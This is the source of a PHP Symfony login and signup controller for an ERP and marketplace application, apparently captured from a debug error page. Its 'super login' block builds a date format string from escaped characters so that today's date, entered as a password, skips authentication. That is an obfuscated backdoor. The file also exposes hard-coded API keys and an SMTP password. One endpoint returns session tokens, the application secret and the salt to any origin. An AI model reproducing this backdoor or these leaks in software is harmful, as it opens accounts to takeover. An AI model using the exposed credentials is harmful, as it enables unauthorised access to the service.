src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 7630

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 // Multi-email aware existence check (2026-07-04 fix): match the OAuth email against
  447.                 // ANY email tagged on an account (comma list, email OR oAuthEmail). The old exact
  448.                 // single-value findOneBy could not match a comma-joined value, so it MISSED the
  449.                 // real account and the code below created a DUPLICATE that then clobbered the
  450.                 // original's tagged emails.
  451.                 $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em_goc$oAuthEmail);
  452.                 if (!$isApplicantExist)
  453.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  454.                         [
  455.                             'username' => $userName
  456.                         ]
  457.                     );
  458.                 if ($isApplicantExist) {
  459.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  460.                     } else {
  461.                         $message "Email/User Already Exists";
  462.                         if ($request->request->get('remoteVerify'0) == 1)
  463.                             return new JsonResponse(array(
  464.                                 'uid' => $isApplicantExist->getApplicantId(),
  465.                                 'session' => [],
  466.                                 'success' => false,
  467.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  468.                                 'errorStr' => $message,
  469.                                 'session_data' => [],
  470.                             ));
  471.                         else
  472.                             return $this->redirectToRoute("user_login", [
  473.                                 'id' => $isApplicantExist->getApplicantId(),
  474.                                 'oAuthData' => $oAuthData,
  475.                                 'refRoute' => $refRoute,
  476.                             ]);
  477.                     }
  478.                 }
  479.                 $img $oAuthData['image'];
  480.                 $email $oAuthData['email'];
  481. //                $userName = explode('@', $email)[0];
  482.                 //now check if same username exists
  483.                 $username_already_exist 0;
  484.                 $newApplicant null;
  485.                 $isReuse false;
  486.                 if ($isApplicantExist) {
  487.                     $newApplicant $isApplicantExist;
  488.                     $isReuse true;
  489.                 } else
  490.                     $newApplicant = new EntityApplicantDetails();
  491.                 if ($isReuse) {
  492.                     // MERGE, never clobber (2026-07-04 fix): on a login/reuse, APPEND the incoming
  493.                     // email to the account's comma list (idempotent) and only FILL empty identity
  494.                     // fields â€” never overwrite a populated username / oAuthEmail with a single value.
  495.                     $newApplicant->setEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getEmail(), $email));
  496.                     if (trim((string) $newApplicant->getUserName()) === '') {
  497.                         $newApplicant->setUserName($userName);
  498.                     }
  499.                     if (trim((string) $newApplicant->getOAuthEmail()) === '') {
  500.                         $newApplicant->setOAuthEmail($oAuthEmail);
  501.                     } else {
  502.                         $newApplicant->setOAuthEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getOAuthEmail(), $oAuthEmail));
  503.                     }
  504.                     if (trim((string) $newApplicant->getFirstname()) === '') { $newApplicant->setFirstname($first_name); }
  505.                     if (trim((string) $newApplicant->getLastname()) === '') { $newApplicant->setLastname($last_name); }
  506.                     if (trim((string) $newApplicant->getPhone()) === '') { $newApplicant->setPhone($phone); }
  507.                 } else {
  508.                     $newApplicant->setActualRegistrationAt(new \DateTime());
  509.                     $newApplicant->setEmail($email);
  510.                     $newApplicant->setUserName($userName);
  511.                     $newApplicant->setFirstname($first_name);
  512.                     $newApplicant->setLastname($last_name);
  513.                     $newApplicant->setOAuthEmail($oAuthEmail);
  514.                     $newApplicant->setPhone($phone);
  515.                 }
  516.                 if ($systemType == '_SOPHIA_')
  517.                     $newApplicant->setIsEmailVerified(1);
  518.                 else
  519.                     $newApplicant->setIsEmailVerified(1); //temporary
  520. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  521.                 $newApplicant->setAccountStatus(1);
  522. //                $newUser->setSalt(uniqid(mt_rand()));
  523.                 //salt will be username
  524. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  525.                 $salt uniqid(mt_rand());
  526.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  527.                 $newApplicant->setPassword($encodedPassword);
  528.                 $newApplicant->setSalt($salt);
  529.                 $newApplicant->setTempPassword('');
  530. //                $newApplicant->setTempPassword($password.'_'.$salt);
  531.                 $newApplicant->setImage($img);
  532.                 $newApplicant->setIsConsultant(0);
  533.                 $newApplicant->setIsTemporaryEntry(0);
  534.                 $newApplicant->setTriggerResetPassword(0);
  535.                 $newApplicant->setApplyForConsultant(0);
  536.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  537.                 $otp random_int(100000999999);
  538.                 $newApplicant->setEmailVerificationHash($otp);
  539.                 $em_goc->persist($newApplicant);
  540.                 $em_goc->flush();
  541.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  542.                     if ($systemType == '_BUDDYBEE_') {
  543.                         $bodyHtml '';
  544.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  545.                         $bodyData = array(
  546.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  547.                             'email' => $userName,
  548.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  549.                             'password' => $newApplicant->getTempPassword(),
  550.                         );
  551.                         $attachments = [];
  552.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  553. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  554.                         $new_mail $this->get('mail_module');
  555.                         $new_mail->sendMyMail(array(
  556.                             'senderHash' => '_CUSTOM_',
  557.                             //                        'senderHash'=>'_CUSTOM_',
  558.                             'forwardToMailAddress' => $forwardToMailAddress,
  559.                             'subject' => 'Welcome to BuddyBee ',
  560. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  561.                             'attachments' => $attachments,
  562.                             'toAddress' => $forwardToMailAddress,
  563.                             'fromAddress' => 'registration@buddybee.eu',
  564.                             'userName' => 'registration@buddybee.eu',
  565.                             'password' => 'Y41dh8g0112',
  566.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  567.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  568. //                            'emailBody' => $bodyHtml,
  569.                             'mailTemplate' => $bodyTemplate,
  570.                             'templateData' => $bodyData,
  571. //                        'embedCompanyImage' => 1,
  572. //                        'companyId' => $companyId,
  573. //                        'companyImagePath' => $company_data->getImage()
  574.                         ));
  575.                     } else {
  576.                         $bodyHtml '';
  577.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  578.                         $bodyData = array(
  579.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  580.                             'email' => 'APP-' $userName,
  581.                             'password' => $newApplicant->getPassword(),
  582.                         );
  583.                         $attachments = [];
  584.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  585. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  586.                         $new_mail $this->get('mail_module');
  587.                         $new_mail->sendMyMail(array(
  588.                             'senderHash' => '_CUSTOM_',
  589.                             //                        'senderHash'=>'_CUSTOM_',
  590.                             'forwardToMailAddress' => $forwardToMailAddress,
  591.                             'subject' => 'Applicant Registration on Honeybee',
  592. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  593.                             'attachments' => $attachments,
  594.                             'toAddress' => $forwardToMailAddress,
  595.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  596.                             'userName' => 'accounts@ourhoneybee.eu',
  597.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  598.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  599.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  600.                             'emailBody' => $bodyHtml,
  601.                             'mailTemplate' => $bodyTemplate,
  602.                             'templateData' => $bodyData,
  603. //                        'embedCompanyImage' => 1,
  604. //                        'companyId' => $companyId,
  605. //                        'companyImagePath' => $company_data->getImage()
  606.                         ));
  607.                     }
  608.                 }
  609.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  610.                     $modifiedRequest Request::create(
  611.                         '',
  612.                         'GET',
  613.                         [
  614.                             'id' => $newApplicant->getApplicantId(),
  615.                             'oAuthData' => $oAuthData,
  616.                             'refRoute' => $refRoute,
  617.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  618.                         ]
  619.                     );
  620.                     $modifiedRequest->setSession($request->getSession());
  621.                     return $this->doLoginAction($modifiedRequest);
  622.                 } else
  623.                     return $this->redirectToRoute("core_login", [
  624.                         'id' => $newApplicant->getApplicantId(),
  625.                         'oAuthData' => $oAuthData,
  626.                         'refRoute' => $refRoute,
  627.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  628.                     ]);
  629.             }
  630. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  631. //
  632. //                $oAuthEmail = $email;
  633. //
  634. //
  635. //                $oAuthData = [
  636. //                    'email' => $email,
  637. //                    'phone' => $phone,
  638. //                    'uniqueId' => '',
  639. //                    'image' => '',
  640. //                    'emailVerified' => '',
  641. //                    'name' => $first_name . ' ' . $last_name,
  642. //                    'type' => '0',
  643. //                    'token' => '',
  644. //                ];
  645. //
  646. //
  647. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  648. //                    [
  649. //                        'oAuthEmail' => $oAuthEmail
  650. //                    ]
  651. //                );
  652. //                if (!$isApplicantExist)
  653. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  654. //                        [
  655. //                            'email' => $oAuthEmail
  656. //                        ]
  657. //                    );
  658. //                if (!$isApplicantExist)
  659. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  660. //                        [
  661. //                            'username' => $userName
  662. //                        ]
  663. //                    );
  664. //
  665. //
  666. //                if ($isApplicantExist) {
  667. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  668. //
  669. //                    } else {
  670. //                        $message = "Email/User Already Exists";
  671. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  672. //                            return new JsonResponse(array(
  673. //                                'uid' => $isApplicantExist->getApplicantId(),
  674. //                                'session' => [],
  675. //                                'success' => false,
  676. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  677. //                                'errorStr' => $message,
  678. //                                'session_data' => [],
  679. //
  680. //                            ));
  681. //                        else
  682. //                            return $this->redirectToRoute("user_login", [
  683. //                                'id' => $isApplicantExist->getApplicantId(),
  684. //                                'oAuthData' => $oAuthData,
  685. //                                'refRoute' => $refRoute,
  686. //                            ]);
  687. //                    }
  688. //                }
  689. //
  690. //
  691. //                $img = $oAuthData['image'];
  692. //
  693. //                $email = $oAuthData['email'];
